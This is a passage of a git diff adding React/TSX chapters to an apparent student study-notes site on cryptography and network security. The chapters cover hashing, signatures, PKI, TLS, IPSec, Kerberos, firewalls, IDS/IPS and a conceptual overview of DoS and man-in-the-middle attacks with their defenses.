  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter3.tsx b/app/sem5/cns/content/chapter3.tsx new file mode 100644 index 0000000..af7b4a7 --- /dev/null +++ b/app/sem5/cns/content/chapter3.tsx @@ -0,0 +1,183 @@ +import React from "react"; + +export const Ch3Content = () => { + return ( +
+

+ Hash functions and digital signatures provide integrity, authentication, and non-repudiation. While encryption hides data, hashing and signatures prove that data is authentic and unmodified. +

+ +
+

Cryptographic Hash Functions

+

+ A hash function takes an input of any size and produces a fixed-length output called a digest, hash, or fingerprint. It is a one-way function — you cannot recover the input from the output. +

+
+

Required Properties

+
    +
  • Deterministic: Same input always gives same output. Hash("hello") always = same value.
  • +
  • Pre-image resistance (one-way): Given hash h, it must be computationally infeasible to find any m such that Hash(m) = h. You cannot "reverse" a hash.
  • +
  • Second pre-image resistance (weak collision resistance): Given a specific message m1, it must be infeasible to find a different m2 where Hash(m1) = Hash(m2). You can't find a collision for a given message.
  • +
  • Collision resistance (strong): It must be infeasible to find any two different messages m1 ≠ m2 such that Hash(m1) = Hash(m2). Even with free choice of both messages.
  • +
  • Avalanche effect: A tiny change in input (even 1 bit) must produce a completely different hash. Hash("hello") and Hash("hellp") must look totally unrelated.
  • +
  • Fixed output length: Output is always the same size regardless of input. SHA-256 always produces exactly 256 bits.
  • +
+
+ +
+

Birthday Attack & Why Output Size Matters

+
    +
  • The birthday paradox: In a room of 23 people, there's a 50% chance two share a birthday. With 70 people, it's 99.9%.
  • +
  • For a hash with n-bit output, a collision can be found in ~2^(n/2) attempts (not 2^n).
  • +
  • So SHA-1 (160-bit) has only ~2⁸⁰ collision resistance — considered broken.
  • +
  • SHA-256 (256-bit) has ~2¹²⁸ collision resistance — currently secure.
  • +
  • Rule: Always use a hash with output ≥ 256 bits for security.
  • +
+
+
+ +
+

Common Hash Algorithms

+
+
    +
  • MD5 (1992): 128-bit output. Designed by Ron Rivest. Collisions found in 1996, practical collision attack in 2004. Two different files with identical MD5 hashes can be crafted. NEVER use for security. Only acceptable for non-security checksums (detecting accidental corruption).
  • +
  • SHA-1 (1995): 160-bit output. US government standard. Theoretical attacks since 2005. In 2017, Google's SHAttered project demonstrated the first practical SHA-1 collision — two different PDF files with identical SHA-1 hashes. Deprecated in TLS certificates since 2017.
  • +
  • SHA-2 family (2001): SHA-224, SHA-256, SHA-384, SHA-512. All based on the Merkle–Damgård construction. SHA-256 is the current standard for most applications. No practical attacks known. Used in TLS, Bitcoin, code signing, passwords.
  • +
  • SHA-3 (2015): Based on the Keccak sponge construction — completely different design from SHA-2. Not because SHA-2 is broken, but as a backup in case SHA-2 is ever compromised. More resistant to length-extension attacks. Slower than SHA-2 in software.
  • +
+
+ +
+

Merkle–Damgård Construction (SHA-1, SHA-2)

+
    +
  • Message is padded to a multiple of the block size, then split into blocks.
  • +
  • A compression function takes (current state, next block) → new state.
  • +
  • Processed sequentially: state after block i becomes input for block i+1.
  • +
  • Final state is the hash output.
  • +
  • Length extension attack: Given Hash(m), an attacker can compute Hash(m || padding || extra) without knowing m. Relevant for HMAC — reason HMAC uses a two-step construction.
  • +
+
+ +
+

Sponge Construction (SHA-3 / Keccak)

+
    +
  • State is divided into a "rate" (absorbed) and "capacity" (hidden) portion.
  • +
  • Absorbing phase: Input blocks XORed into the rate portion, then a permutation f is applied.
  • +
  • Squeezing phase: Output bits are read from the rate portion, permutation applied between reads.
  • +
  • Can produce variable-length output (makes it a XOF — Extendable Output Function).
  • +
  • Not vulnerable to length extension attacks.
  • +
+
+
+ +
+

HMAC (Hash-based Message Authentication Code)

+

+ A plain hash has no secret — anyone can compute Hash(m). HMAC adds a secret key so only someone who knows the key can produce or verify the MAC. Provides both integrity and authentication. +

+
+
    +
  • Formula: HMAC(K, m) = Hash((K ⊕ opad) || Hash((K ⊕ ipad) || m))
  • +
  • ipad = 0x36 repeated, opad = 0x5C repeated (both block-length constants).
  • +
  • Why two hashes? The inner hash prevents length-extension attacks. The outer hash binds the key to the inner result.
  • +
  • Example use: TLS uses HMAC-SHA256 to verify that each TLS record was not tampered with in transit.
  • +
  • HMAC is not encryption — the message is still visible. It only proves integrity and authenticity.
  • +
  • HMAC-SHA256 is still secure. Do not use HMAC-MD5 or HMAC-SHA1 in new systems.
  • +
+
+
+ +
+

Password Hashing

+

Never store passwords as plaintext or with a plain cryptographic hash. Use purpose-built slow password hashing functions.

+
+
    +
  • Problem with plain hashing: SHA-256("password") is always the same — vulnerable to precomputed rainbow table attacks.
  • +
  • Salt: A random value added to each password before hashing. Even if two users have the same password, their hashes differ. Salt is stored alongside hash (it's not secret — it just prevents precomputation).
  • +
  • bcrypt: Adaptive cost function — can be made slower as hardware improves. Includes salt automatically. Industry standard for passwords.
  • +
  • Argon2: Winner of the 2015 Password Hashing Competition. Memory-hard — requires large amounts of RAM, making GPU cracking expensive. Recommended for new systems.
  • +
  • PBKDF2: Password-Based Key Derivation Function 2. Applies HMAC thousands of times. Less memory-hard than Argon2 but still common (used in WPA2 Wi-Fi passwords).
  • +
+
+
+ +
+

Digital Signatures

+

+ A digital signature proves: (1) the message was sent by a specific party (authentication), (2) the message was not altered (integrity), and (3) the sender cannot deny sending it (non-repudiation). It combines hashing with asymmetric cryptography. +

+
+

How Digital Signatures Work

+
    +
  • Step 1 — Sign: Alice computes h = SHA-256(message). She encrypts h with her private key: sig = RSA_Decrypt(h, Alice_private_key). She sends (message, sig) to Bob.
  • +
  • Step 2 — Verify: Bob computes h' = SHA-256(message) himself. He decrypts sig using Alice's public key: h = RSA_Encrypt(sig, Alice_public_key). If h == h', the signature is valid — the message is authentic and unaltered.
  • +
  • Why hash first? Asymmetric operations are slow. Hashing the message first gives a small fixed-size value to sign (e.g. 256 bits) regardless of message size.
  • +
  • Why private key signs? Only Alice has the private key — only she can produce the signature. Anyone with the public key can verify, but not forge.
  • +
+
+ +
+

Signature Schemes

+
    +
  • RSA-PSS (Probabilistic Signature Scheme): RSA with proper randomized padding. Provably secure. Use instead of textbook RSA signatures.
  • +
  • DSA (Digital Signature Algorithm): US NIST standard. Based on discrete logarithm. Uses a random nonce k per signature — if k is ever reused, private key is leaked. (PlayStation 3 was hacked this way.)
  • +
  • ECDSA (Elliptic Curve DSA): DSA on elliptic curves. Smaller signatures, faster. Used in TLS, Bitcoin, code signing. Same k-reuse vulnerability as DSA.
  • +
  • EdDSA (Edwards-curve Digital Signature Algorithm): Uses deterministic k — no random nonce, no k-reuse risk. Used in SSH, TLS 1.3, Signal. Most modern choice.
  • +
+
+
+ +
+

Public Key Infrastructure (PKI)

+

+ Digital signatures prove a message was signed by someone with a private key — but how do you know whose private key it is? PKI solves this by binding public keys to identities via trusted third parties called Certificate Authorities (CAs). +

+
+

X.509 Certificates

+
    +
  • A certificate is a digital document signed by a CA that says: "I, the CA, confirm that this public key belongs to this domain/person."
  • +
  • X.509 certificate contains: Subject (domain name / organization), Public key, Issuer (CA name), Validity period (not before / not after), Serial number, Digital signature of the CA.
  • +
  • When you visit https://google.com, your browser checks: Is the certificate signed by a trusted CA? Is the domain name in the certificate? Is it still valid (not expired)? Has it been revoked?
  • +
+
+ +
+

Certificate Chain of Trust

+
    +
  • Root CA: Self-signed certificate. Trusted by operating systems and browsers. Examples: DigiCert, Let's Encrypt, GlobalSign. Stored in your OS/browser trust store.
  • +
  • Intermediate CA: Signed by the Root CA. Used to sign end-entity certificates. Adds a layer — Root CA private key is kept offline (air-gapped) for maximum security.
  • +
  • End-entity certificate: The certificate your website or server uses. Signed by the Intermediate CA.
  • +
  • Chain verification: Browser verifies: end-entity cert is signed by Intermediate CA → Intermediate CA cert is signed by Root CA → Root CA is in trust store → chain is valid.
  • +
+
+ +
+

Certificate Revocation

+
    +
  • If a private key is compromised, the certificate must be revoked before it expires.
  • +
  • CRL (Certificate Revocation List): CA publishes a list of revoked serial numbers. Browsers download and check. Problem: large file, updated periodically — not real-time.
  • +
  • OCSP (Online Certificate Status Protocol): Browser queries CA's OCSP server in real-time to check if a specific certificate is revoked. Problem: privacy (CA learns what sites you visit) and latency.
  • +
  • OCSP Stapling: Server queries OCSP itself and includes the signed response in the TLS handshake. Faster, more private. Modern solution.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • Hash = one-way, fixed-length fingerprint. Not encryption — cannot be reversed.
  • +
  • MD5 and SHA-1 are broken (practical collisions demonstrated). Use SHA-256 or SHA-3.
  • +
  • Birthday attack: n-bit hash has 2^(n/2) collision resistance, not 2^n.
  • +
  • HMAC = hash + secret key = integrity + authentication. Used in TLS.
  • +
  • For passwords: use bcrypt or Argon2 with salts. Never plain SHA-256.
  • +
  • Digital signature = Hash(message) encrypted with private key.
  • +
  • Sign with private key → verify with public key. Proves authenticity and integrity.
  • +
  • PKI: CAs issue X.509 certificates that bind public keys to identities.
  • +
  • Certificate chain: End-entity → Intermediate CA → Root CA (in browser trust store).
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter4.tsx b/app/sem5/cns/content/chapter4.tsx new file mode 100644 index 0000000..0c8b71e --- /dev/null +++ b/app/sem5/cns/content/chapter4.tsx @@ -0,0 +1,165 @@ +import React from "react"; + +export const Ch4Content = () => { + return ( +
+

+ SSL/TLS and HTTPS are the protocols that make secure communication on the internet possible — from banking to email to every padlock icon in your browser. They combine asymmetric encryption, symmetric encryption, hash functions, and certificates into one seamless protocol. +

+ +
+

SSL vs TLS — History

+
+
    +
  • SSL 1.0 (1994): Netscape's design. Never publicly released — had critical security flaws.
  • +
  • SSL 2.0 (1995): First public release. Had serious vulnerabilities. Deprecated.
  • +
  • SSL 3.0 (1996): Major redesign. Broken by POODLE attack in 2014. Deprecated.
  • +
  • TLS 1.0 (1999): IETF standardization of SSL. Vulnerable to BEAST attack. Deprecated.
  • +
  • TLS 1.1 (2006): Minor improvements. Deprecated in 2021.
  • +
  • TLS 1.2 (2008): Added AEAD ciphers (AES-GCM), SHA-2. Still widely used. Secure with proper configuration.
  • +
  • TLS 1.3 (2018): Major overhaul. Removed all weak algorithms. Faster. Current standard.
  • +
+
+
+ +
+

TLS 1.2 Handshake — Detailed

+

The handshake establishes a secure channel before any application data is sent. It negotiates algorithms, authenticates the server (and optionally client), and establishes session keys.

+
+
    +
  • 1. ClientHello: Client sends: highest TLS version supported, a random 32-byte nonce (client_random), a session ID (for resumption), list of supported cipher suites (e.g. TLS_RSA_WITH_AES_128_CBC_SHA256), list of compression methods.
  • +
  • 2. ServerHello: Server responds with: chosen TLS version, a random 32-byte nonce (server_random), chosen cipher suite, session ID.
  • +
  • 3. Certificate: Server sends its X.509 certificate chain. Client verifies: CA signature valid, not expired, domain name matches, not revoked.
  • +
  • 4. ServerHelloDone: Server signals end of its handshake messages.
  • +
  • 5. ClientKeyExchange: Client generates a 48-byte pre-master secret, encrypts it with server's public key, sends to server. (With RSA key exchange — static RSA, no forward secrecy.)
  • +
  • 6. Key Derivation: Both sides compute: master_secret = PRF(pre_master_secret, "master secret", client_random + server_random). From master_secret, derive: client write key, server write key, client MAC key, server MAC key, client IV, server IV.
  • +
  • 7. ChangeCipherSpec: Both sides signal they're switching to encrypted communication.
  • +
  • 8. Finished: Both send a hash of all handshake messages encrypted with the new session keys. If both Finished messages verify correctly, the handshake succeeded.
  • +
+
+ +
+

TLS 1.2 with DHE/ECDHE (Forward Secrecy)

+
    +
  • Instead of encrypting pre-master secret with server's RSA key (static), use ephemeral Diffie-Hellman.
  • +
  • ServerKeyExchange: Server sends DH parameters and its DH public value, all signed with its private key (authentication).
  • +
  • Client sends its DH public value. Both compute the same shared secret (pre-master secret) via DH math.
  • +
  • Forward secrecy: Each session uses fresh DH parameters. Even if the server's long-term private key is later compromised, past sessions cannot be decrypted because the ephemeral DH keys are discarded after the session.
  • +
+
+
+ +
+

TLS 1.3 — What Changed

+
+
    +
  • 1-RTT handshake: TLS 1.2 needed 2 round trips before sending data. TLS 1.3 needs only 1. Client sends key share in ClientHello — server can derive session keys immediately and respond with encrypted data right away.
  • +
  • Removed algorithms: RSA key exchange (no forward secrecy), static DH, weak ciphers (RC4, DES, 3DES, AES-CBC), weak MACs (MD5, SHA-1), compression (CRIME attack). Only AEAD ciphers remain: AES-GCM, ChaCha20-Poly1305.
  • +
  • Mandatory forward secrecy: Only ECDHE and DHE key exchange allowed — no static RSA or DH. Every session gets fresh ephemeral keys.
  • +
  • 0-RTT (Zero Round Trip Time) resumption: For reconnecting clients, encrypted data can be sent in the very first message. Trade-off: vulnerable to replay attacks. Only suitable for idempotent requests (like HTTP GET).
  • +
  • Encrypted handshake: More of the handshake is encrypted in TLS 1.3, including the server's certificate — hides which server you're connecting to from passive observers.
  • +
+
+
+ +
+

Cipher Suites

+

A cipher suite specifies all the algorithms used in a TLS connection. Format: TLS_KeyExchange_WITH_EncryptionAlgorithm_MACAlgorithm

+
+
    +
  • TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256: Key exchange = ECDHE (forward secrecy). Authentication = RSA certificate. Encryption = AES-128-GCM (AEAD). MAC = SHA-256 (for key derivation). TLS 1.2 — good choice.
  • +
  • TLS_AES_256_GCM_SHA384: TLS 1.3 format (simpler — key exchange always ECDHE). Encryption = AES-256-GCM. Hash = SHA-384.
  • +
  • TLS_CHACHA20_POLY1305_SHA256: TLS 1.3. ChaCha20 is faster than AES on devices without AES hardware acceleration (older phones, IoT). Used by default in Chrome on Android.
  • +
+
+
+ +
+

HTTPS

+
+
    +
  • HTTPS = HTTP + TLS. All HTTP data (headers, body, URLs after the domain) is encrypted inside the TLS tunnel.
  • +
  • Uses port 443 (HTTP uses port 80).
  • +
  • What HTTPS protects against: Eavesdropping on the content of your requests. Tampering with responses (e.g. injecting ads or malware). Impersonation (fake server without a valid certificate).
  • +
  • What HTTPS does NOT hide: The domain name you're visiting (visible in DNS and TLS SNI — though ECH is addressing this). The fact that you visited a site. Timing and size of requests.
  • +
  • HSTS (HTTP Strict Transport Security): Server sends header "Strict-Transport-Security: max-age=31536000". Browser remembers: always use HTTPS for this domain, never HTTP, for the next year. Prevents SSL stripping attacks where attacker downgrades HTTPS to HTTP.
  • +
  • HSTS Preloading: Domains can be submitted to a browser-maintained list so HTTPS is enforced even on the very first visit (before the HSTS header is seen).
  • +
+
+
+ +
+

Certificate Validation in Browsers

+
+
    +
  • Chain validation: Browser builds the chain from server certificate → intermediate CA → root CA. Each certificate's signature is verified by the issuer's public key.
  • +
  • Domain validation: Common Name (CN) or Subject Alternative Name (SAN) in certificate must match the hostname in the URL. Wildcard certs (*.example.com) match one subdomain level.
  • +
  • Expiry check: notBefore and notAfter fields must be within current time.
  • +
  • Revocation check: OCSP stapling or CRL check.
  • +
  • Certificate Transparency (CT): All issued certificates must be logged in public CT logs. Browsers reject certificates not in any CT log. Allows detection of mis-issued certificates.
  • +
+
+
+ +
+

IPSec

+

+ IPSec secures communication at the Network Layer (Layer 3) of the OSI model. It protects all traffic between two IP addresses regardless of application — unlike TLS which operates at Layer 4+ and must be built into each application. +

+
+
    +
  • AH (Authentication Header): Provides integrity and data origin authentication. Computes a MAC over the entire IP packet (including the outer IP header). Does NOT encrypt — the payload is visible. Rarely used alone.
  • +
  • ESP (Encapsulating Security Payload): Provides encryption + integrity + authentication. Encrypts the payload. Does not protect the outer IP header in transport mode. The most commonly used IPSec component.
  • +
  • Transport Mode: Only the IP payload (e.g. TCP segment) is protected. Original IP header is preserved. Used for end-to-end communication between two specific hosts.
  • +
  • Tunnel Mode: The entire original IP packet (header + payload) is encapsulated inside a new IP packet with a new outer header. Original source/destination IPs are hidden inside the tunnel. Used for VPN gateways connecting two networks.
  • +
  • IKE (Internet Key Exchange): Protocol used to set up IPSec security associations (SAs) — negotiating algorithms and exchanging keys. IKEv2 is the current standard.
  • +
  • SA (Security Association): A one-way relationship between two endpoints specifying the security parameters (algorithm, keys, lifetime). Two SAs needed for bidirectional communication.
  • +
+
+
+ +
+

Kerberos

+

+ Kerberos (named after the three-headed dog guarding Hades) is a network authentication protocol developed at MIT. It uses symmetric key cryptography and tickets to authenticate users without sending passwords over the network. Widely used in Windows Active Directory. +

+
+

Kerberos Components

+
    +
  • KDC (Key Distribution Center): Trusted server containing two sub-components — the Authentication Server (AS) and the Ticket Granting Server (TGS).
  • +
  • AS (Authentication Server): Verifies user identity and issues Ticket Granting Tickets (TGT).
  • +
  • TGS (Ticket Granting Server): Issues Service Tickets for specific services.
  • +
  • Principal: Any entity (user or service) registered with Kerberos.
  • +
+
+ +
+

Kerberos Authentication Flow

+
    +
  • Step 1 — AS Exchange: Client sends username to AS (no password yet). AS looks up the user's key (derived from password) in its database. AS sends back a TGT encrypted with the TGS's secret key + a session key encrypted with the user's key.
  • +
  • Step 2 — User decrypts: Client decrypts the session key using the password-derived key. Now has the TGT (opaque — can't read it) and the session key.
  • +
  • Step 3 — TGS Exchange: Client wants to access a file server. Sends TGT + authenticator (timestamp encrypted with session key) to TGS. TGS decrypts TGT using its secret key, verifies authenticator. Issues a Service Ticket for the file server.
  • +
  • Step 4 — Service Authentication: Client presents Service Ticket to the file server. File server decrypts it using its own secret key. Verifies authenticator. Grants access.
  • +
  • Key insight: Password never sent over network. Tickets have limited lifetime (typically 8–10 hours) — limiting damage if stolen. Replay attacks prevented by timestamps in authenticators.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • TLS replaces SSL. Only use TLS 1.2 (minimum) or TLS 1.3.
  • +
  • TLS 1.2 handshake: ClientHello → ServerHello → Certificate → Key Exchange → ChangeCipherSpec → Finished.
  • +
  • TLS 1.3: 1-RTT, mandatory forward secrecy, only AEAD ciphers, more of handshake encrypted.
  • +
  • DHE/ECDHE = forward secrecy. Static RSA key exchange = no forward secrecy.
  • +
  • HTTPS = HTTP + TLS. Port 443. HSTS forces HTTPS on future visits.
  • +
  • IPSec = Layer 3. AH = integrity only. ESP = encryption + integrity.
  • +
  • IPSec Transport mode = host-to-host. Tunnel mode = gateway-to-gateway (VPN).
  • +
  • Kerberos: ticket-based, symmetric crypto, no passwords on the wire, timestamps prevent replay.
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter5.tsx b/app/sem5/cns/content/chapter5.tsx new file mode 100644 index 0000000..7b2e651 --- /dev/null +++ b/app/sem5/cns/content/chapter5.tsx @@ -0,0 +1,180 @@ +import React from "react"; + +export const Ch5Content = () => { + return ( +
+

+ Firewalls and intrusion detection systems form the primary defensive perimeter of any network. Understanding their types, limitations, and proper deployment is essential for network security. +

+ +
+

Firewalls

+

+ A firewall is a network security device (hardware or software) that monitors and filters incoming and outgoing traffic based on a set of security rules. It creates a barrier between a trusted internal network and untrusted external networks. +

+ +
+

1. Packet Filtering Firewall (Stateless)

+
    +
  • Operates at Layer 3 (Network) and Layer 4 (Transport) of the OSI model.
  • +
  • Inspects each packet independently based on: Source IP, Destination IP, Source port, Destination port, Protocol (TCP/UDP/ICMP).
  • +
  • Example rule: Block all incoming TCP traffic to port 23 (Telnet). Allow outgoing TCP traffic from port 80 (HTTP).
  • +
  • Advantages: Very fast (no state to maintain), low overhead, implemented in routers.
  • +
  • Disadvantages: Stateless — cannot track whether a packet belongs to an established session. Cannot prevent IP spoofing. Cannot inspect payload. Vulnerable to fragmentation attacks.
  • +
  • Example: iptables on Linux is a packet filter. ACLs on Cisco routers are packet filters.
  • +
+
+ +
+

2. Stateful Inspection Firewall

+
    +
  • Tracks the state of active network connections in a state table.
  • +
  • For TCP: tracks SYN, SYN-ACK, ACK (three-way handshake) to know which connections are established.
  • +
  • Example: A packet arriving with TCP ACK flag but no matching entry in the state table (no SYN was seen before) is dropped — it's not part of a legitimate session.
  • +
  • Automatically allows return traffic for outgoing connections — no need for explicit rules to allow response packets.
  • +
  • Advantages: More secure than packet filtering. Prevents many spoofing attacks. Better performance than proxy firewalls.
  • +
  • Disadvantages: Still cannot inspect application-layer content. State table can be overflowed in a DoS attack (SYN flood).
  • +
+
+ +
+

3. Application Layer Firewall (Proxy Firewall)

+
    +
  • Operates at Layer 7 (Application). Understands specific protocols: HTTP, FTP, DNS, SMTP.
  • +
  • Acts as a proxy — all traffic goes through it. The firewall terminates the client connection, inspects the content, then forwards a new connection to the server (if allowed).
  • +
  • Can block: Specific HTTP methods (e.g. only allow GET, block PUT/DELETE). Malicious URLs. File type uploads. SQL injection in HTTP parameters. Command injection in FTP.
  • +
  • Example: A web application firewall (WAF) like ModSecurity inspects HTTP traffic and blocks SQLi, XSS, etc.
  • +
  • Disadvantages: Much slower — deep inspection is CPU-intensive. Must understand every protocol it inspects. Creates a bottleneck.
  • +
+
+ +
+

4. Next-Generation Firewall (NGFW)

+
    +
  • Combines all previous types: stateful inspection + deep packet inspection + application awareness + integrated IDS/IPS + SSL/TLS inspection + user identity tracking.
  • +
  • Application awareness: Can identify and control applications regardless of port. Example: Block Facebook even if it runs on port 443. Allow YouTube but block video uploads.
  • +
  • SSL inspection: Decrypts TLS traffic, inspects it, re-encrypts. Allows detection of malware hiding in encrypted traffic. Requires installing the NGFW's CA certificate on all clients.
  • +
  • User identity: Rules can be per-user or per-group (integrated with Active Directory). "Block social media for interns, allow for managers."
  • +
  • Examples: Palo Alto Networks, Fortinet FortiGate, Cisco Firepower.
  • +
+
+ +
+

Firewall Rules and Default Policies

+
    +
  • Default deny (whitelist): Block everything, then explicitly allow what is needed. Most secure approach. Used in high-security environments.
  • +
  • Default allow (blacklist): Allow everything, block known bad. Easier to manage but less secure. Attacker just needs to avoid the blacklist.
  • +
  • Rules are processed in order — first matching rule wins. Order matters critically.
  • +
  • Example ruleset: Rule 1: Allow TCP from internal to port 80/443. Rule 2: Allow UDP from internal to DNS server port 53. Rule 3: Allow established/related return traffic. Rule 4: Deny all.
  • +
+
+
+ +
+

DMZ (Demilitarized Zone)

+
+
    +
  • A DMZ is a separate network segment between the internet and the internal network, created with two firewalls (or two firewall zones).
  • +
  • Public-facing servers (web server, email server, DNS server) are placed in the DMZ because they must accept connections from the internet.
  • +
  • Traffic rules: Internet → DMZ: allowed for specific services. DMZ → Internet: restricted. DMZ → Internal: blocked or very restricted. Internal → DMZ: allowed.
  • +
  • Why? If a web server in the DMZ is compromised, the attacker is still blocked from the internal network by the inner firewall. The damage is contained.
  • +
  • Three-legged DMZ: Single firewall with three interfaces — internet, DMZ, internal. Cost-effective but the firewall is a single point of failure.
  • +
  • Dual firewall DMZ: One firewall between internet and DMZ, another between DMZ and internal. More secure. Outer firewall often from a different vendor to prevent a single vulnerability being exploited on both.
  • +
+
+
+ +
+

IDS (Intrusion Detection System)

+

+ An IDS monitors network traffic or host activity for signs of malicious activity and generates alerts. It is passive — it detects and reports but does not block. Think of it as a security camera. +

+
+

Types of IDS

+
    +
  • NIDS (Network-based IDS): Monitors all traffic on a network segment. Placed at strategic points — typically at the network perimeter or after the firewall. Sees traffic between all hosts. Example: Snort (open source), Suricata.
  • +
  • HIDS (Host-based IDS): Installed on individual hosts. Monitors: system calls, log files, file system changes (integrity monitoring), registry changes (Windows), running processes. Can detect attacks that bypass network-level controls. Example: OSSEC, Tripwire (file integrity monitoring).
  • +
  • Wireless IDS: Monitors 802.11 wireless traffic for rogue access points, deauth attacks, etc.
  • +
+
+ +
+

Detection Methods

+
    +
  • Signature-based (misuse detection): Compares traffic/activity against a database of known attack signatures (patterns). Like antivirus for network traffic. Very accurate for known attacks. Zero false positives for well-written signatures. Cannot detect zero-day attacks (new attacks not in the database). Must be constantly updated. Example: Snort rule to detect SQL injection pattern in HTTP traffic.
  • +
  • Anomaly-based (behaviour detection): Establishes a baseline of "normal" behaviour during a training period. Flags deviations from the baseline as suspicious. Can detect zero-day attacks and novel threats. Higher false positive rate — legitimate unusual activity may be flagged. Example: A server normally sends 1 MB/day of outbound traffic. Suddenly sending 10 GB → flagged as potential data exfiltration.
  • +
  • Stateful protocol analysis: Compares observed protocol behaviour against vendor definitions of how the protocol should operate. Flags protocol violations that may indicate exploitation.
  • +
+
+ +
+

IDS Evaluation Metrics

+
    +
  • True positive: Attack occurred, IDS alerted. Good.
  • +
  • False positive: No attack, IDS alerted anyway. Alert fatigue — analysts start ignoring alerts.
  • +
  • True negative: No attack, no alert. Good.
  • +
  • False negative: Attack occurred, IDS missed it. Very bad.
  • +
  • Signature-based = low false positive, high false negative for new attacks. Anomaly-based = low false negative for new attacks, higher false positive.
  • +
+
+
+ +
+

IPS (Intrusion Prevention System)

+
+
    +
  • An IPS is an IDS that can also take action — it is placed inline in the network and can drop malicious packets, reset connections, or block source IPs in real time.
  • +
  • Because it's inline, it adds latency. Every packet must pass through it before reaching the destination.
  • +
  • Actions an IPS can take: Drop the malicious packet. Reset the TCP connection (send RST to both sides). Block the source IP temporarily. Alert the security team. Log the event for forensics.
  • +
  • Trade-off: False positives now block legitimate traffic. A misconfigured IPS can bring down business operations. Tuning is critical.
  • +
  • IDS vs IPS: IDS = passive, out-of-band (receives a copy of traffic). IPS = active, inline (all traffic passes through it). NGFW typically includes IPS functionality.
  • +
+
+
+ +
+

Honeypots

+
+
    +
  • A honeypot is a decoy system intentionally made to look like a legitimate target to attract attackers.
  • +
  • Purpose: Detect attackers probing the network. Distract them from real systems. Study their tools and techniques. Gather threat intelligence.
  • +
  • Low-interaction honeypot: Simulates services without a real OS. Captures automated scans and exploits. Low risk — limited interaction surface. Example: Honeyd.
  • +
  • High-interaction honeypot: A real system (or VM) with real services. Attackers can fully interact with it. Much more threat intelligence gathered. Higher risk — attacker may use it as a pivot point to attack other systems if not carefully isolated.
  • +
  • Honeynet: A network of honeypots.
  • +
  • Key rule: Honeypots must be carefully isolated from production systems. Any traffic to a honeypot is suspicious by definition — production systems should never contact it.
  • +
+
+
+ +
+

VPN (Virtual Private Network)

+
+
    +
  • A VPN creates an encrypted tunnel over the public internet, allowing remote users or offices to communicate as if on a private network.
  • +
  • IPSec VPN: Uses IPSec tunnel mode. Common for site-to-site VPNs connecting two offices. Also used for remote access (IKEv2/IPSec).
  • +
  • SSL/TLS VPN: Uses TLS. Works through any HTTPS-capable firewall (port 443). Common for remote access VPNs. Examples: OpenVPN, Cisco AnyConnect.
  • +
  • WireGuard: Modern VPN protocol. Uses state-of-the-art cryptography (ChaCha20, Curve25519, BLAKE2). Extremely fast and simple codebase (4000 lines vs OpenVPN's 100,000).
  • +
  • Split tunneling: Only traffic destined for the corporate network goes through the VPN; internet traffic goes directly. Reduces VPN load but means corporate device is on both the VPN and public internet simultaneously.
  • +
+
+
+ +
+

Key Points to Remember

+
+
    +
  • Packet filter = stateless, Layer 3/4, fast but limited.
  • +
  • Stateful = tracks connection state, allows return traffic automatically.
  • +
  • Application layer / proxy = Layer 7, inspects content, slow but thorough.
  • +
  • NGFW = stateful + DPI + app awareness + IPS + SSL inspection.
  • +
  • Default deny (whitelist) is more secure than default allow (blacklist).
  • +
  • DMZ: public servers in DMZ, internal network behind inner firewall.
  • +
  • IDS = detects and alerts only (passive). IPS = detects and blocks (inline).
  • +
  • Signature = known attacks, low FP. Anomaly = unknown attacks, higher FP.
  • +
  • Honeypot = decoy system to attract, detect, and study attackers.
  • +
+
+
+
+ ); +}; \ No newline at end of file diff --git a/app/sem5/cns/content/chapter6.tsx b/app/sem5/cns/content/chapter6.tsx new file mode 100644 index 0000000..d95049d --- /dev/null +++ b/app/sem5/cns/content/chapter6.tsx @@ -0,0 +1,163 @@ +import React from "react"; + +export const Ch6Content = () => { + return ( +
+

+ Understanding how attacks work in detail is the foundation of defending against them. This chapter covers every major network, application, and cryptographic attack — with mechanisms, real-world examples, and concrete defenses. +

+ +
+

Network-Level Attacks

+ +
+

DoS (Denial of Service)

+
    +
  • Goal: Make a service unavailable to legitimate users by exhausting its resources (bandwidth, CPU, memory, connections).
  • +
  • SYN Flood: Attacker sends thousands of TCP SYN packets with spoofed source IPs. Server allocates resources and sends SYN-ACK for each, waits for ACK that never comes. Half-open connections fill the state table → server cannot accept new legitimate connections. Defense: SYN cookies (server encodes state in the SYN-ACK sequence number, allocates no resources until ACK is received).
  • +
  • HTTP Flood: Legitimate-looking HTTP GET/POST requests at high volume. Hard to distinguish from real traffic. Defense: rate limiting per IP, CAPTCHA, WAF behavioral analysis.
  • +
  • Ping of Death: Sending an oversized ping packet (over 65535 bytes after reassembly) that crashes older systems. Patched in modern OSes.
  • +
  • Smurf Attack: Attacker sends ICMP echo request to a network's broadcast address with spoofed source IP (victim's IP). Every host replies to the victim. Defense: disable directed broadcast on routers.
  • +
+
+ +
+

DDoS (Distributed Denial of Service)

+
    +
  • Same as DoS but attack traffic comes from thousands or millions of compromised machines (a botnet).
  • +
  • Botnet: Network of compromised computers (zombies) controlled by the attacker via a command-and-control (C2) server. Victims' machines are infected with malware. They attack on command.
  • +
  • Amplification attacks: Attacker sends a small request to servers (DNS, NTP, memcached) with the victim's IP spoofed as source. Servers send large responses to the victim. DNS amplification: 40-byte query → 4000-byte response = 100x amplification. Memcached amplification: up to 51,000x amplification.
  • +
  • Defense: Traffic scrubbing centers (Cloudflare, Akamai) absorb attack traffic. Anycast routing distributes traffic across many data centers. Rate limiting, BGP blackholing. BCP38 (network ingress filtering) prevents IP spoofing at ISP level.
  • +
+
+ +
+

Man-in-the-Middle (MITM) Attack

+
    +
  • Attacker secretly intercepts communication between two parties, possibly reading and altering messages. Both parties believe they are communicating directly with each other.
  • +
  • SSL Stripping: Attacker intercepts an HTTP connection before HTTPS redirect. Client sees HTTP, attacker connects to server via HTTPS. Client sends credentials in plaintext to attacker. Defense: HSTS (forces HTTPS even before redirect).
  • +
  • Rogue AP (Evil Twin): Attacker sets up a Wi-Fi access point with the same SSID as a legitimate network. Clients connect to the rogue AP instead. All traffic passes through attacker. Defense: Always use VPN on public Wi-Fi. 802.1X enterprise Wi-Fi authentication.
  • +
